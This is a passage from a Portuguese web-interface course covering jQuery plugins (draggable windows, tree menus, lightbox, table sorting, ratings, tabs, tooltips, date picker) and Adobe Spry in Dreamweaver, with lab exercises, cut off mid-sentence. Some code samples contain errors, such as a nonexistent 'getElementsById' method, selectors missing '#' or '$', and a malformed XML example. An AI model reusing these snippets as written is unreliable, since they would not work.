Web 6.2 Bibliotecas livres: a facilidade na manipulação de documentos A facilidade em trabalhar com desenvolvimento web se dá principalmente a termos a nossa disposição milhares de conteúdos livres disponíveis na internet, sendo que muitos desenvolvedores não se contentam somente a desenvolver soluções com as ferramentas e linguagens disponíveis, e acabam por querer melhorar a forma de desenvolvimento como um todo visando ganhar tempo e melhor a eficácia das suas aplicações. Exemplo disso e a utilização de uma biblioteca rápida e concisa que simplifica a escrita da codificação Java Script no HTML, a JQuery. 62 Desenvolvimento de Interfaces na Web Disponível para download no endereço: http://jquery.com/, o próprio slogan da biblioteca já diz: Escreva menos, faça mais. Esta biblioteca se baseia em inúmeras expressões regulares que realizam o teste de cada sintaxe disponível na linguagem Java Script e permite que estes comandos sejam resumidos no código, sendo depois trocados por suas verdadeiras codificações pela própria biblioteca. Existem diversas outras bibliotecas concorrentes, sendo que dentre elas podemos citar: Prototype, Dojo, Yahoo! UI, entretanto a JQuery destaca-se pela sua facilidade de uso e pelo seu tamanho: 19Kb já com o modulo de Ajax! Veja abaixo um exemplo diferenciando o da implementação feita com JQuery: $(”a”).click(function(){ alert(”Voce clicou!”); }); Neste exemplo estamos dizendo que todo e qualquer link (TAG “A”) ao ser clicado (evento onclick) irá executar a mensagem “ Você clicou!”. Ou seja, em 3 linhas você consegue expressar uma serie de testes e configurações com inúmeros comportamentos vinculados a eventos por exemplo. Imagine que você deseje selecionar todas as tags DIV do seu documento: Java Script: document.getElementsByTagName(“div”); JQuery: $(“div”); Agora suponhamos que você queira selecionar uma DIV com um ID especifico: Java Script: Document.getElementsById(“id_da_div”); JQuery: $( “#id_da_div”); Pegando um exemplo pratico, suponhamos que você queria esconder todas as tags “P” de um elemento especifico: 63 Desenvolvimento de Interfaces na Web JQuery: $( “p”, “id_da_div”).hide(); Fácil não? Alem de poder manipular os eventos e propriedades dos elementos, o JQuery conta com efeitos visuais pré-definidos, veja o exemplo: $(“p”).fadeIn(“slow”); $(“p”).fadeOut(“slow”); $(“p”).fadeTo(“slow”, 0.5); Neste exemplo estamos atribuindo o efeito de Fade (Esmaecimento) a todas as tags P do documento. Dentre as atribuições, algumas mais usadas nos nossos dias como a manipulação de eventos também seguem a facilidade e simplicidade no uso: Veja o código HTML abaixo: <div id="menu"> <p>www.vipertech.com.br</p> </div> <button id="botao">Clique aqui</button> Criaremos agora o script que manipula o evento do botão do formulário: $("botao").click( function() { $("p", "menu" ).fadeOut ("slow"); }); O que estamos fazendo é simples e bem fácil de compreender, procuramos o elemento Botão dentro do documento, e atribuímos uma função ao evento CLICK, que consiste em aplicar o efeito FADEOUT ao parágrafo nomeado MENU. Como você já deve ter observado, só neste exemplo poupamos a escrita de inúmeras linhas de código, ganhando muito tempo de implementação. Por fim na JQuery temos métodos simples, como o que simula a função innerHTML do Java Script: ("div").html("<b>Novo Nó HTML</b>"); E atributos de imagem: 64 Desenvolvimento de Interfaces na Web ("botao").click( function() { ("img").attr("src","img/editar.png"); }); A documentação do site em que você baixa a biblioteca é bem completa, sendo que muito material e exemplos são encontrados facilmente na internet, devido a rápida difusão deste material. A seguir usaremos algumas outras bibliotecas livres para criarmos uma funcionalidade no mínimo interessante para o nosso site. Laboratório: 1. Crie um texto com efeito de rolagem 2. Crie um texto com efeito de esmaecimento e reaparecimento 3. Crie um texto com efeito de desaparecimento sem ocupar mais especo que ocupava anteriormente 4. Crie um texto com efeito de desaparecimento ainda mantendo o especo que ocupava anteriormente 5. Crie um texto com efeito que simule piscar 6.3 Criando uma janela arrastável Recursos como o drag são muito usados em documentos que permitem certa interação do usuário com o site. Realizar esse processo não é muito complicado, sendo o problema maior está em fazer algo que funcione em diversos navegadores (crossbrowsser). Utilizando-se dos recursos da biblioteca JQuery, e a junção de mais duas outras bibliotecas (iutil.js e idrag.js) iremos implementar de maneira rápida este recurso tão atraente.] Primeiramente baixe os dois arquivos faltantes no seguinte endereço: http://interface.eyecon.ro/download Após ter realizado o download teremos que incluir nesta ORDEM os três arquivos em nosso documento HTML: <script type="text/javascript" src="jQuery.js"></script> <script type="text/javascript" src="iutil.js"></script> 65 Desenvolvimento de Interfaces na Web <script type="text/javascript" src="idrag.js"></script> Após este processo voce ira criar uma DIV com um ID, a qual chamaremos de NOTICIAS. Coloque algum conteúdo dentro desta DIV, sendo que podemos ter qualquer coisa dentro dela. Veja o exemplo abaixo: <div id="noticias"> <table width="200" height="200" bgcolor="#CCCCCC"> <tr> <td align="center">Arraste</td> </tr> </table> </div> Após iremos simplesmente implementar o script com a JQuery capaz de realizar o processo de DRAG and DROP desta DIV. Observe o código abaixo: <script type="text/javascript"> $(document).ready( function() { $('#noticias').Draggable( { ghosting: true, opacity: 0.5 } ); } ); </script> 66 Desenvolvimento de Interfaces na Web O significado lógico deste script é que ao carregarmos o documento, uma função é executada e rasteia o documento atual procurando um elemento chamado NOTICIAS, atribuindo a propriedade DRAGGABLE presente na classe IDRAG. Alguns efeitos como GHOSTING: rastro, OPCITY: opacidade. Sendo que caso desejemos aplicar estes efeitos em outros elementos, basta apenas replicar o bloco referente à DIV. Vejamos mais alguns exemplos de parâmetros que a função DRAGGABLE possui: snapDistance: Este parâmetro defini quantos pixels os objeto deve ser movimentado para que seja iniciado o processo de “arrastar”. Isto serve basicamente para evitar que ocorra uma movimentação acidental frameClass: é a definição da classe que será aplicada ao objeto no momento da seleção. ghosting: Ao invés de arrastar o objeto, é criado uma cópia dele e você acaba arrastando a cópia, quando soltar o objeto original segue até o ponto que você solto. opacity: Aplica uma opacidade na cópia do objeto. revert: Você arrasta o objeto e ele retorna para o ponto inicial. grid: [x, y]: Mover em grade. Faz com que o objeto mova-se de tantos em tantos pixels no eixo (x e y). axis: 'vertically' ou 'horizontally' : Moverá o objeto ou apenas na vertical ou na horizontal. Para criara barras por exemplo. zIndex: Define a camada que o objeto irá ocupar. cursorAt: { top: x, left: y }: Faz com que o bloco siga o ponteiro do mouse em determinada coordenada. containment: 'parent': Determina se o objeto poderá se mover dentro do objeto onde está contido ou se poderá mover-se por todo o documento. handle: 'alvo': Este parâmetro serve para você usar um determinado objeto dentro do bloco que deseja arrastar para ser seu ponto de arrasto. Como se fosse só naquele ponto onde se pode arrastar o objeto. Laboratório 67 Desenvolvimento de Interfaces na Web 1. Crie uma lista de 9 itens que só possam ser arrastados para uma área chamada “carrinho de compras” 2. Crie 5 imagens no formato de x e 5 no formato de bola. Crie uma tabela de 3 x 3 e permita que as imagens possam ser arrastadas para as células desta tabela 3. Crie um três objetos em camadas diferentes que possam ser manipulados por todo o documento. 68 Desenvolvimento de Interfaces na Web 6.4 Criando uma “ávore de menus” Um dos recursos mais interessantes da biblioteca jquery é a criação de menus na estrutura de árvores. Este processo que já é bem utilizado com javascript, mas a biblioteca jquery tornou este processo bem mais simples. Para realizar estas atividades é necessário baixar: jquery.treeview.js treeview.css Nosso objetivo final é uma tela como a tela abaixo: 69 Desenvolvimento de Interfaces na Web Bem então vamos incluir os arquivos necessários para a execução: <script src="../lib/jquery.js" type="text/javascript"></script> <script src="../jquery.treeview.js" type="text/javascript"></script> <link rel="stylesheet" href="../jquery.treeview.css" /> Logo após vamos incluir o código jquery <script> $(document).ready(function(){ // first example $("#navigation").treeview({ persist: "location", collapsed: true, unique: true }); }); </script> Por fim colocamos a estrutura HTML que irá representar a estrutura propriamente dita: 70 Desenvolvimento de Interfaces na Web <h4>Exemplo de Menu em Árvore</h4> <ul id="navigation"> <li><a href="?1">Item 1</a> <ul> <li><a href="?1.0">Item 1.0</a> <ul> <li><a href="?1.0.0">Item 1.0.0</a></li> </ul> </li> <li><a href="?1.1">Item 1.1</a></li> <li><a href="?1.2">Item 1.2</a> <li><a href="?1.3">Item 1.3</a> <ul> <li><a href="?1.2.0">Item 1.2.0</a> <ul> <li><a href="?1.2.0.0">Item 1.2.0.0</a></li> <li><a href="?1.2.0.1">Item 1.2.0.1</a></li> <li><a href="?1.2.0.2">Item 1.2.0.2</a></li> </ul> </li> <li><a href="?1.2.1">Item 1.2.1</a> <ul> <li><a href="?1.2.1.0">Item 1.2.1.0</a></li> </ul> </li> <li><a href="?1.2.2">Item 1.2.2</a> <ul> <li><a href="?1.2.2.0">Item 1.2.2.0</a></li> <li><a href="?1.2.2.1">Item 1.2.2.1</a></li> <li><a href="?1.2.2.2">Item 1.2.2.2</a></li> </ul> 71 Desenvolvimento de Interfaces na Web </li> </ul> </li> </ul> </li> <li><a href="?2">Item 2</a> <ul> <li><span>Item 2.0</span> <ul> <li><a href="?2.0.0">Item 2.0.0</a> <ul> <li><a href="?2.0.0.0">Item 2.0.0.0</a></li> <li><a href="?2.0.0.1">Item 2.0.0.1</a></li> </ul> </li> </ul> </li> <li><a href="?2.1">Item 2.1</a> <ul> <li><a href="?2.1.0">Item 2.1.0</a> <ul> <li><a href="?2.1.0.0">Item 2.1.0.0</a></li> </ul> </li> <li><a href="?2.1.1">Item 2.1.1</a> <ul> <li><a href="?2.1.1.0abc">Item 2.1.1.0</a></li> <li><a href="?2.1.1.1">Item 2.1.1.1</a></li> <li><a href="?2.1.1.2">Item 2.1.1.2</a></li> </ul> </li> <li><a href="?2.1.2">Item 2.1.2</a> <ul> 72 Desenvolvimento de Interfaces na Web <li><a href="?2.1.2.0">Item 2.1.2.0</a></li> <li><a href="?2.1.2.1">Item 2.1.2.1</a></li> <li><a href="?2.1.2.2">Item 2.1.2.2</a></li> </ul> </li> </ul> </li> </ul> </li> <li><a href="?3">Item 3</a> <ul> <li class="open"><a href="?3.0">Item 3.0</a> <ul> <li><a href="?3.0.0">Item 3.0.0</a></li> <li><a href="?3.0.1">Item 3.0.1</a> <ul> <li><a href="?3.0.1.0">Item 3.0.1.0</a></li> <li><a href="?3.0.1.1">Item 3.0.1.1</a></li> </ul> </li> <li><a href="?3.0.2">Item 3.0.2</a> <ul> <li><a href="?3.0.2.0">Item 3.0.2.0</a></li> <li><a href="?3.0.2.1">Item 3.0.2.1</a></li> <li><a href="?3.0.2.2">Item 3.0.2.2</a></li> </ul> </li> </ul> </li> </ul> </li> </ul> 73 Desenvolvimento de Interfaces na Web Laboratório 1. Crie um menu em árvore que tenha suas informações oriundas de um XML 2. Crie um menu em árvore que tenha suas informações oriundas de uma tabela de um banco de dados 6.5 Criando efeito “lightBox” Um dos efeitos mais famosos do uso de Ajax é o LightBox. A forma de realizá-lo que anteriormente exigia uma gama significativa de comandos, hoje é substituída por poucas linhas em jquery. Para executar este efeito baixe: jquery.lightbox-0.4.js jquery.lightbox-0.4.css Realize os includes para estes arquivos <script type="text/javascript" src="jquery.js"></script> <script type="text/javascript" src="jquery.lightbox-0.4.js"></script> Os links para as imagens podem ter uma formatação parecida com esta: <a href="imagem_grande.jpg"><img src="imagem_pequena.jpg" width="72" height="72" alt="" /></a> Para ativar o recurso basto inserir o seguinte script: <script type="text/javascript"> $(function() { $('a[@rel*=lightbox]').lightBox(); // Seleciona todos os links que contem o valor lightbox no atributo rel $('#galeria a').lightBox(); // Seleciona todos os links do objeto com o id galeria $('a.lightbox').lightBox(); // Seleciona todos os links da classe lightbox 74 Desenvolvimento de Interfaces na Web $('a').lightBox(); // Seleciona todos os links da página }); </script> Laboratório. 1. Crie uma galeria com 3 imagens e utiliza o efeito lightbox 6.6 Ordenando tabelas O resultado de um arquivo XML ou mesmo aqueles que são retornados diretamente do banco de dados, nem sempre se apresentam na ordenação desejada pelo usuário. Por isto é muito comum criarmos ordenação de colunas através dos títulos das mesmas. A biblioteca jquery possui funções que facilitam esta tarefa. Para realizar esta atividade baixe o seguinte arquivo: jquery.tablesorter.min.js Nosso objetivo final é uma tela semelhante a esta: Vamos então linkar os arquivos necessários: <script type="text/javascript" src="jquery.js"></script> <script type="text/javascript" src="jquery.tablesorter.min.js"></script> Inserimos o script jquery <script> 75 Desenvolvimento de Interfaces na Web $(document).ready(function() { $("#myTable").tablesorter( {sortList: [[0,0], [1,0]]} ); } ); </script> Por fim o código HTML: <table id="myTable" class="tablesorter"> <thead> <tr> <th>Last Name</th> <th>First Name</th> <th>Email</th> <th>Due</th> <th>Web Site</th> </tr> </thead> <tbody> <tr> <td>Smith</td> <td>John</td> <td>[email protected]</td> <td>$50.00</td> <td>http://www.jsmith.com</td> </tr> <tr> <td>Bach</td> <td>Frank</td> <td>[email protected]</td> <td>$50.00</td> <td>http://www.frank.com</td> </tr> <tr> 76 Desenvolvimento de Interfaces na Web <td>Doe</td> <td>Jason</td> <td>[email protected]</td> <td>$100.00</td> <td>http://www.jdoe.com</td> </tr> <tr> <td>Conway</td> <td>Tim</td> <td>[email protected]</td> <td>$50.00</td> <td>http://www.timconway.com</td> </tr> </tbody> </table> Laboratório: 1. Crie uma tabela com possibilidade de ordenação que tenha seu dados originados de um arquivo XML. 2. Crie uma tabela com possibilidade de ordenação que tenha seu dados originados de uma tabela de um banco de dados. 6.7 Amplinado Imagens A ampliação de imagem tem é um recurso largamente utilizado em sites de e-commerce por proporcionar ao usuário uma visão mais detalhada do produto. A biblioteca jquery possui funções que facilitam esta tarefa. Para realizar esta atividade baixe o seguinte arquivo: js/jquery.jqzoom.js Nosso objetivo final é uma tela semelhante a esta: 77 Desenvolvimento de Interfaces na Web Vamos então linkar os arquivos necessários: <script type="text/javascript" src="jquery.js"></script> <script type="text/javascript" src=" jquery.jqzoom.js"></script> Inserimos o script jquery <script type="text/javascript"> jQuery.noConflict(); jQuery(document).ready(function(){ $("img.jqzoom").jqueryzoom({ xzoom: 200, //largura do div de zoom(o valor padrão é 200) yzoom: 200, // altura do div de zoom (o valor padrão é 200) offset: 10 //intensidade do zoom (o valor padrão é 10) //position: "right" //posição do div do zoom(o valor padrão é “rigth”) }); }); </script> Por fim o código HTML: <div id="wrapper"> 78 Desenvolvimento de Interfaces na Web <div id="maincontent"> <div style="float:left;width:100%;clear:both;"><span class="tozoom"><img src="images/shoe1_small.jpg" class="jqzoom" alt="images/shoe1_big.jpg"></span> <span class="tozoom"><img src="images/shoe2_small.jpg" class="jqzoom" alt="images/shoe2_big.jpg"></span> <span class="tozoom"><img src="images/shoe3_small.jpg" class="jqzoom" alt="images/shoe3_big.jpg"></span> <span class="tozoom"><img src="images/shoe4_small.jpg" class="jqzoom" alt="images/shoe4_big.jpg"></span> </div> <span style="float:left;width:100%;height:200px;"> </span> </div> Laboratório: Crie uma galeria de fotos com 4 fotos que suas ampliações sempre apareçam no mesmo local. 6.8 Criando Avaliações A avaliação de um atendimento, vendedor, cliente ou produto é um recurso largamente utilizado em sites de e-commerce por proporcionar ao usuário uma visão mais detalhada do item. A biblioteca jquery possui funções que facilitam esta tarefa. Para realizar esta atividade baixe o seguinte arquivo: rating.js rating.css Images: star.gif, delete.gif Nosso objetivo final é uma tela semelhante a esta: 79 Desenvolvimento de Interfaces na Web Vamos então linkar os arquivos necessários: <script type="text/javascript" src="jquery.js"></script> <script type="text/javascript" src="rating.js"></script> Inserimos o script jquery <script type="text/javascript"> $(document).ready(function() { $('#star1').rating('www.url.php', {maxvalue: 1}); $('#star2').rating('www.url.php', {maxvalue:1, curvalue:1}); $('#rate1').rating('www.url.php', {maxvalue:5}); $('#rate2').rating('www.url.php', {maxvalue:5, curvalue:3}); }); </script> Por fim o código HTML: <div id="star1" class="rating"> </div> <div id="star2" class="rating"> </div> <div id="rate1" class="rating"> </div> <div id="rate2" class="rating"> </div> Laboratório: 80 Desenvolvimento de Interfaces na Web Crie uma lista de vendedores, uma avaliação para cada um e armazene em banco a avaliação deles. 6.9 Menus em Abas Os menus em abas são muito uteis para poupar espaço e tornar o ambiente mais interessante. A biblioteca jquery possui funções que facilitam esta tarefa. Para realizar esta atividade baixe o seguinte arquivo: jquery-ui-personalized-1.5.2.packed.js sprinkle.js Nosso objetivo final é uma tela semelhante a esta: Vamos então linkar os arquivos necessários: <script type="text/javascript" src="jquery.js"></script> <script type="text/javascript" src="rating.js"></script> 81 Desenvolvimento de Interfaces na Web O código css: * { margin: 0; padding: 0; } body { font-size: 75%; color: #222; background: #ffffff; font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; line-height: 1.6em; } .widget { width: 310px; margin: 20px; padding: 10px; background: #f3f1eb; border: 1px solid #dedbd1; margin-bottom: 15px; } .widget a { color: #222; text-decoration: none; } .widget a:hover { color: #009; text-decoration: underline; } 82 Desenvolvimento de Interfaces na Web .tabnav li { display: inline; list-style: none; padding-right: 5px; } .tabnav li a { text-decoration: none; text-transform: uppercase; color: #222; font-weight: bold; padding: 4px 6px; outline: none; } .tabnav li a:hover, .tabnav li a:active, .tabnav li.ui-tabs-selected a { background: #dedbd1; color: #222; text-decoration: none; } .tabdiv { margin-top: 2px; background: #fff; border: 1px solid #dedbd1; padding: 5px; } .tabdiv li { list-style-image: url("star.png"); margin-left: 20px; 83 Desenvolvimento de Interfaces na Web } .ui-tabs-hide { display: none; } Inserimos o script jquery $(document).ready(function() { $('#tabvanilla > ul').tabs({ fx: { height: 'toggle', opacity: 'toggle' } }); }); Por fim o código HTML: <div id="tabvanilla" class="widget"> <ul class="tabnav"> <li><a href="#popular">Popular</a></li> <li><a href="#recent">Recent</a></li> <li><a href="#featured">Featured</a></li> </ul> <div id="popular" class="tabdiv"> <ul> <li><a href="#">Welsh Zombie Sheep Invasion</a></li> <li><a href="#">Sheep Rising From The Dead</a></li> <li><a href="#">Blogosphere Daily Released!</a></li> <li><a href="#">Aliens Infiltrate Army Base In UK Town</a></li> <li><a href="#">U2 Rocks New York's Central Park</a></li> <li><a href="#">TA Soldiers Wear Uniforms To Work</a></li> <li><a href="#">13 People Rescued From Flat Fire</a></li> <li><a href="#">US Troops Abandon Afghan Outpost</a></li> 84 Desenvolvimento de Interfaces na Web <li><a href="#">Are We Alone? A Look Into Space</a></li> <li><a href="#">Apple iPhone 3G Released</a></li> </ul> </div><!--/popular--> <div id="recent" class="tabdiv"> <p>Lorem ipsum dolor sit amet.</p> </div><!--/recent--> <div id="featured" class="tabdiv"> <ul> <li><a href="#">Aliens Infiltrate Army Base In UK Town</a></li> <li><a href="#">Are We Alone? A Look Into Space</a></li> <li><a href="#">U2 Rocks New York's Central Park</a></li> <li><a href="#">TA Soldiers Wear Uniforms To Work</a></li> <li><a href="#">13 People Rescued From Flat Fire</a></li> <li><a href="#">US Troops Abandon Afghan Outpost</a></li> <li><a href="#">Sheep Rising From The Dead</a></li> <li><a href="#">Blogosphere Daily Released!</a></li> <li><a href="#">Apple iPhone 3G Released</a></li> <li><a href="#">Welsh Zombie Sheep Invasion</a></li> </ul> </div><!--featured--> </div><!--/widget--> Laboratório: Crie uma lista de notícias, produtos em destaque e emails que tenham sua origem em tabelas de banco de dados. 6.10 Exibindo dicas em links 85 Desenvolvimento de Interfaces na Web Um recurso bastante interessante é a existência de “dicas” sobre os links, com informações sobre os mesmos antes do clique do usuário. A biblioteca jquery possui funções que facilitam esta tarefa. Para realizar esta atividade baixe o seguinte arquivo: jtip.js Nosso objetivo final é uma tela semelhante a esta: Vamos então linkar os arquivos necessários: <script src="js/jquery.js" type="text/javascript"></script> <script src="js/jtip.js" type="text/javascript"></script> Por fim o código HTML: <div id="contentPad"> <p><strong>Roll over a question mark:</strong></p> <label style="padding-right:5px">Password</label><input name="" type="text" /><span class="formInfo"><a href="ajax.htm?width=375" class="jTip" id="one" name="Password must follow these rules:">?</a></span> 86 Desenvolvimento de Interfaces na Web <br /> <br /> <label style="padding-right:5px">User ID</label><input name="" type="text" /><span class="formInfo"><a href="ajax2.htm?width=475" class="jTip" id="two" name="">?</a></span> <p><strong>Try adjusting the browser window so the links in the paragraphs below are as close to the right side of the window as possible. Roll over a link in the paragraphs below. This demonstrates how the tool tip will flip horizontally depending upon the space between the tool tip and the right side of the window. Don't worry the script also accounts for the custom widths.</strong></p> <p>Lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat. Ut <a href="ajax4.htm?width=475" class="jTip" id="six" name="Window caption or title">Tip With Caption</a> enim ad minim veniam, quis nostrud exerci tation ullamcorper suscipit lobortis nisl ut aliquip ex ea commodo consequat.</p> <p>Duis autem vel eum iriure dolor in hendrerit in vulputate velit esse molestie consequat, vel illum dolore eu <a href="ajax3.htm?width=375" class="jTip" id="three">Tip No Caption</a> feugiat nulla facilisis at vero eros et accumsan et iusto odio dignissim qui blandit praesent luptatum zzril augue duis dolore te feugait nulla facilisi. Lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh euismod tincidunt ut <a href="ajax5.htm" class="jTip" id="four" name="Window caption or title">No Specified Width</a> et dolore magna aliquam erat volutpat.</p> <p><strong>The link below demonstrates a tool tip on a text link that allows for the link to accommodate an additional URL (using a query string). So that a link will functions as expect if clicked. Notice the cursor change.</strong></p> </div> Note que não houve a necessidade de especificar uma função em jquery, pois a mesma está inserida no arquivo jtip. Para que a dica seja exibida, basta definir o link como peretencente a classe jtip e o seu respectivo href como sendo a página que contem o texto da dica. Laboratório: 87 Desenvolvimento de Interfaces na Web Crie um texto que contenha pelo menos 5 dicas. 6.11 Exibindo um Calendário Para preenchimento de formulários em geral é muito comum a utilização de calendários com o objetivo de facilitar a vida do usuário. A biblioteca jquery possui funções que facilitam esta tarefa. Para realizar esta atividade baixe os seguintes arquivos: date.js jquery.datePicker.js datePicker.css Nosso objetivo final é uma tela semelhante a esta: 88 Desenvolvimento de Interfaces na Web Vamos então linkar os arquivos necessários: <script type="text/javascript" src="scripts/date.js"></script> <script type="text/javascript" src="scripts/jquery.datePicker.js"></script> <link rel="stylesheet" type="text/css" media="screen" href="styles/datePicker.css"> Inserimos o script jquery <script type="text/javascript" charset="utf-8"> $(function() { $('.date-pick').datePicker({autoFocusNextInput: true}); }); </script> Por fim o código HTML: 89 Desenvolvimento de Interfaces na Web <form name="chooseDateForm" id="chooseDateForm" action="#"> <fieldset> <legend>Test date picker form</legend> <ol> <li> <label for="date1">Date 1:</label> <input name="date1" id="date1" class="date-pick" /> </li> <li> <label for="date2">Date 2:</label> <input name="date2" id="date2" class="date-pick" /> </li> <li> <label for="test-select">Test select:</label> <select name="test-select" id="test-select" style="width: 170px"> <option value="1">Test SELECT </option> <option value="2">Doesn't shine through</option> <option value="3">Even in IE</option> <option value="4">Yay!</option> </select> </li> </ol> </fieldset> </form> Laboratório: Crie um formulário para reserva de passagens e valide se a data de saída é menor que a data de retorno. 90 Desenvolvimento de Interfaces na Web Unidade 7 - Dreamweaver e o Ajax A utilização do Dreamweaver é apenas um exemplo de ferramenta desta tecnologia, poderia ser utilizado outro editor da preferência do usuário ou até mesmo o bloco de notas. 7.1 Abordagem simples sobre os componentes do SPRY Por tornar-se tão rapidamente um artifício de fácil acesso e desenvolvimento, alguns aplicativos comuns no ambiente de desenvolvimento web acabaram tornando-se acessíveis ao Ajax. Um deles, o qual é muito conhecido e utilizado é o Adobe Dreaweaver CS 3. Alem dos componentes conhecidos para o desenvolvimento de diversas linguagens, no âmbito tanto da programação quanto visual um novo meio de inserir animações dinâmicas e acesso rápido a dados XML surgiu, o SPRY. O Spry é um framework client side em forma de bibliotecas Java Script, apesar de desenvolvido pela Adobe pode ser utilizado por qualquer editor HTML, para saber mais sobre a ferramenta e suas atualizações você pode acessar o site: labs.adobe.com/technologies/spry/ Baseado em elementos e métodos do DOM, juntamente com a tecnologia XML esse modulo destaca-se pela sua facilidade de acesso no Dreaweaver CS3. Para acessar os componentes do Spry no Dreamweaver CS3 siga as instruções abaixo: Seguindo o menu apresentado você verá a apresentação dos seguintes componentes respectivamente: 91 Desenvolvimento de Interfaces na Web Spry Xml Data Set: é o principal componente da utilização do Spry, nele você ira configurar os dados e o documento XML fonte de onde estes dados serão lidos para o documento HTML que estamos confeccionando. Ao clicar neste item, a seguinte tela será apresentada: Você deverá definir um nome para o Dataset, container que receberá os dados do arquivo XML lido. Através do botão BROWSE, selecione um arquivo XML, no nosso caso iremos selecionar um arquivo semelhante a estrutura apresentada abaixo: <?xml version="1.0" encoding="utf-8"?> <cidades> <cidade> <id_cidade>1</id_cidade> <nome>Alvorada</nome> </cidade> <cidade> <id_cidade>14</id_cidade> 92 Desenvolvimento de Interfaces na Web <nome>Porto Alegre</nome> </cidade> </cidades> </municipios> Clique a seguir em Get Schema e a estrutura hierárquica do documento XML será apresentada na janela de dialogo logo abaixo: Nas opções abaixo você poderá selecionar o tipo de dado (Data type) que está contido dentro dos nodos principais do XML. O campo Sort é responsável pela ordenação dos dados lidos no XML, onde podemos também selecionar a direção de leitura (Direction) como Ascendente (Ascending) ou Descendente (Descending). Uma das opções relevantes nesta estrutura de configuração é a opção “Turn XML Data Caching Off, em que você pode solicitar que o próprio script do Spry atualize a leitura dos dados do arquivo XML a cada “n” Segundos, evitando assim que o mesmo não seja mantido em cachê e que os dados fiquem desatualizados. Após ter selecionado as opções desejadas, clique em OK. Praticamente no modo de layout do documento nada ira ser afetado, entretanto se analisarmos o código fonte do arquivo HTML notaremos algumas novidades: <script src="SpryAssets/xpath.js" type="text/javascript"></script> <script src="SpryAssets/SpryData.js" type="text/javascript"></script> 93 Desenvolvimento de Interfaces na Web <script type="text/javascript"> <!-var ds1 = new Spry.Data.XMLDataSet("01.xml", "cidades/cidade"); ds1.setColumnType("id_cidade", "number"); //--> </script> Se você observar verá que dois novos arquivos .JS estão sendo utilizados no seu arquivo, estes foram copiados automaticamente pelo Dreamweaver para o diretório raiz onde encontra-se este documento. Ambos são necessários para que a futura aplicação funcione, sendo estes os mantenedores dos arquivos da biblioteca Spry. Vamos agora selecionar o segundo componente da barra de itens do Spry: Spry Region: como você já esta acostumado, quando trabalhamos com formulários em nosso site é comum utilizarmos as tags FORM dentro do nosso documento, delimitando qual será a área que possuirá os componentes do nosso formulário. Da mesma maneira deveremos prosseguir com a utilização do Spry, então clique no item mencionado, e a seguinte caixa de dialogo será apresentada: Aqui você pode selecionar se ira preferir que esta região do Spry seja atribuída à uma DIV ou SPAN, logo após clique em OK. Uma linha pontilhada em preto com o comentário “Content for Spry Region Goes Here” aparecerá no modo layout, sendo que todo e qualquer componente que acesse os dados dinâmicos via Spry deverá ser adicionado dentro desta área. Você pode apagar estar mensagem, e a seguir passar para o próximo passo: 94 Desenvolvimento de Interfaces na Web Spry Table este item é interessante, pois será responsável por criar uma lista de repetição com os dados que foram localizados dentro do XML dentro de uma tabela, note que ao selecionar este item, a seguinte caixa de dialogo será exibida: Dentre as configurações existentes, devemos ressaltar a opção “Sort Column when Header is Clicked”, ou seja, ordenar as colunas conforme os cliques em seus cabeçalhos. Esta opção se selecionada facilita muito a vida do usuário quando tratamos de listar dados em forma de relatórios por exemplo, onde é de extrema importância a ordenação por colunas. Como você pôde observar a utilização de arquivos XML em conjunto com novos e inúmeros componentes da web estão cada vez mais aproximando o acesso a internet das funcionalidades do desktop. Por fim iremos a seguir ver outra grande utilidade dos componentes SPRY da Adobe, a transição de elementos no documento. 7.2 Efeitos SPRY com SPRY Effects Efeitos de transição são muito comuns em arquivos animados como os feitos em FLASH, ou em Silverlight da Microsoft, entretanto esta funcionalidade antes mal vista pelo desenvolvedores web por sua complexidade de ser implementada em paginas estáticas sendo cada vez mais adotada. Devido a sua leveza e a compatibilidade com inúmeros navegadores os efeitos com DOM e Ajax se tornam cada vez mais populares e de fácil manipulação. Visite o endereço abaixo: 95 Desenvolvimento de Interfaces na Web http://labs.adobe.com/technologies/spry/demos/effects/ A Adobe disponibilizou um Demo de alguns efeitos que podem ser criados com o SPRY sem a necessidade de muito conhecimento na área de desenvolvimento. Efeitos como Grow (crescer), Shrink (encolher), Fade (esmaecer) entre outros estão disponíveis para uso dentro da biblioteca Spry effects. Veja abaixo o exemplo de como aplicar um efeito de Fade usando o código Spry em sua pagina: Insira os seguintes arquivos nesta exata ordem no documento HTML: <link href="effects.css" rel="stylesheet" type="text/css" /> <link href="../css/screen.css" rel="stylesheet" type="text/css" /> <script type="text/javascript" src="../../includes/SpryEffects.js"></script> <script type="text/javascript" src="effects.js"></script> Dentro do corpo do seu documento você deverá atribuir um evento a uma tag de sua preferência, como no nosso exemplo abaixo em que atribuímos o efeito a um link: <a href="#" onclick="runEffect('Fade', 'product_box', {duration: 1000, from: 100, to: 0, toggle: true}, '');">Fade</a> Dentro desta sintaxe alguns parametros são passados visando configurar o efeito que será executado no evento: runEffect('Fade', 'product_box', {duration: 1000, from: 100, to: 0, toggle: true} Onde: Fade: efeito; product Box: nome da DIV ou elemento que sofrerá o efeito. Duartion: duração em milisegundos do efeito. From: de onde começa (valor em %). To: onde termina (valor em %). 96 Desenvolvimento de Interfaces na Web Toggle: repetição (true = não repete, false = repete). Verifique o efeito no documento criado, e experimente aplicar os outros efeitos disponíveis no site da Adobe. Aplicando efeitos Spry pelo Dreamweaver Para aplicar este efeito pela interface do Drewamweaver, primeiramente crie um elemento novo, uma DIV por exemplo, e atribua um nome a ela: <div id="noticia"> Esta é uma noticia! </div> A seguir crie um link, e clique sobre ele: <a href=”#”>Clique aqui</a> Com o link selecionado no modo design, clique no menu lateral e selecione a guia TAG – Behaviors – Effects – Appear Fade. Veja a imagem abaixo: 97 Desenvolvimento de Interfaces na Web Uma caixa de dialogo será exibida solicitando que você aponte qual será o elemento que receberá o efeito, selecione então a DIV NOTICIA que você acabou de criar: Agora clique em OK e visualize o documento no seu navegador. Pronto! De forma rápida e simples você aplicou o efeito em um elemento sem a necessidade de mexer no código. 98 Desenvolvimento de Interfaces na Web Unidade 8 - Trabalho final: 8.1 Aplicando os recursos na prática: Visando fixar o material visto ao longo do curso, vamos agora implementar uma solução que aborda todo conteúdo visto. Projeto: interface inicial de uma intranet com conteúdo dinâmico acessível por Ajax. Veja a imagem a seguir e baseie-se nela para construir a arquitetura do seu projeto: Dentre os itens que estão sendo demonstrados, as janelas de conteúdo deverão ser arrastáveis e 